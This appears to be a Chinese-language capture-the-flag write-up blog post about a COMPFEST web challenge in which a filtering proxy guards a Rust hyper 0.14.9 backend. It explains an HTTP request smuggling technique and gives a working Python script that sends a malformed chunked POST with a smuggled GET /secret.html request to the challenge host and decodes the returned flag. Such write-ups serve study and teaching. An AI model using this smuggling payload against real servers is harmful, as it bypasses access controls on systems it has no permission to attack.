    listen_port: int = int(listen[listen.index(":")+1:]) 
 
    send_addr: str = send[:send.index(":")] 
    send_port: int = int(send[send.index(":")+1:]) 
 
    with ThreadedTCPServer((listen_addr, listen_port), ProxyHandler) as server: 
        server_thread = threading.Thread(target=server.serve_forever) 
        # Exit the server thread when the main thread terminates 
        server_thread.daemon = True 
        server_thread.start() 
 
        while True: 
            pass

题目分析

先进性一个的信息收集

  • Cargo.toml 有版本号 hyper version = "=0.14.9"

  • flag 在 secret.html 中。

  • main.rs 文件中,_filter_route 函数只允许 r"^/\w+\.\w+$" 访问,其他都会跳转到 reject.html。

  • 函数 _filter_route 存在 uri.lower() ,所以没有大小写绕过。

  • 函数 _process_host 把 URL 拆成了 host+uri。

  • 函数 handle 的执行顺序是先 _process_host_filter_route ,所以用路径相关的操作行不通。

  • 函数 _process_body_length 中,有 Transfer-Encoding: chunkedContent-Length: <num>

解题思路

直接先拿关键信息搜

image
image

这个版本就一个洞,直接拿来用。

  1. 发一个合法的 POST /index.html 通过 proxy 白名单,用大 chunk + 满足 hyper 期望的少量字节 + 0 终止块,让第一请求体在后端提前结束。
  2. 接着把完整的 GET /secret.html 请求拼在第一个请求后(同一连接内),让网站后端把这个 GET 当作第二个请求来处理,就成功绕过了 proxy 的 _filter_route 函数过滤。
import socket, re, base64

host = 'ctf.compfest.id'
port = 7304

def recv_until(s):
    buf = b''
    try:
        while True:
            r = s.recv(4096)
            if not r:
                break
            buf += r
    except socket.timeout:
        pass
    finally:
        s.close()
    return buf

def gen_payload(host, port):

    p = (
        f"GET /secret.html HTTP/1.1\r\n"
        f"host: {host}:{port}\r\n"
        f"\r\n"
    ).encode("ascii")

    body = (
        b"f0000000000000003\r\n"
        b"XYZ\r\n"
        b"0\r\n\r\n"
    )

    headers = (
        f"POST /index.html HTTP/1.1\r\n"
        f"host: {host}:{port}\r\n"
        f"Connection: keep-alive\r\n"
        f"Transfer-Encoding: chunked\r\n"
        f"\r\n"
    ).encode("ascii")

    return headers + body + p

def run():
    payload = gen_payload(host, port)
    s = socket.create_connection((host, port), timeout=5)

    s.sendall(payload)
    s.settimeout(3)

    r = recv_until(s)
    text = r.decode("utf-8", "ignore")

    m = re.search(r'([A-Za-z0-9+/=]{20,})', text)
    if not m:
        print("not found ==>\n", text[:800])
        return

    b64 = m.group(1)
    try:
        flag = base64.b64decode(b64).decode("utf-8", "ignore")
        print("flag ==>", flag)
    except Exception as e:
        print("error ==>\n", b64, e)

if __name__ == "__main__":
    run()

引用

Gift for the Tifosi

这题没看,文件似乎有点多😨。

5d4a716b7cd0c510b995660e6921df10

posted @ 2025-10-07 03:46  bx∮卡奇  阅读(44)  评论(0)    收藏  举报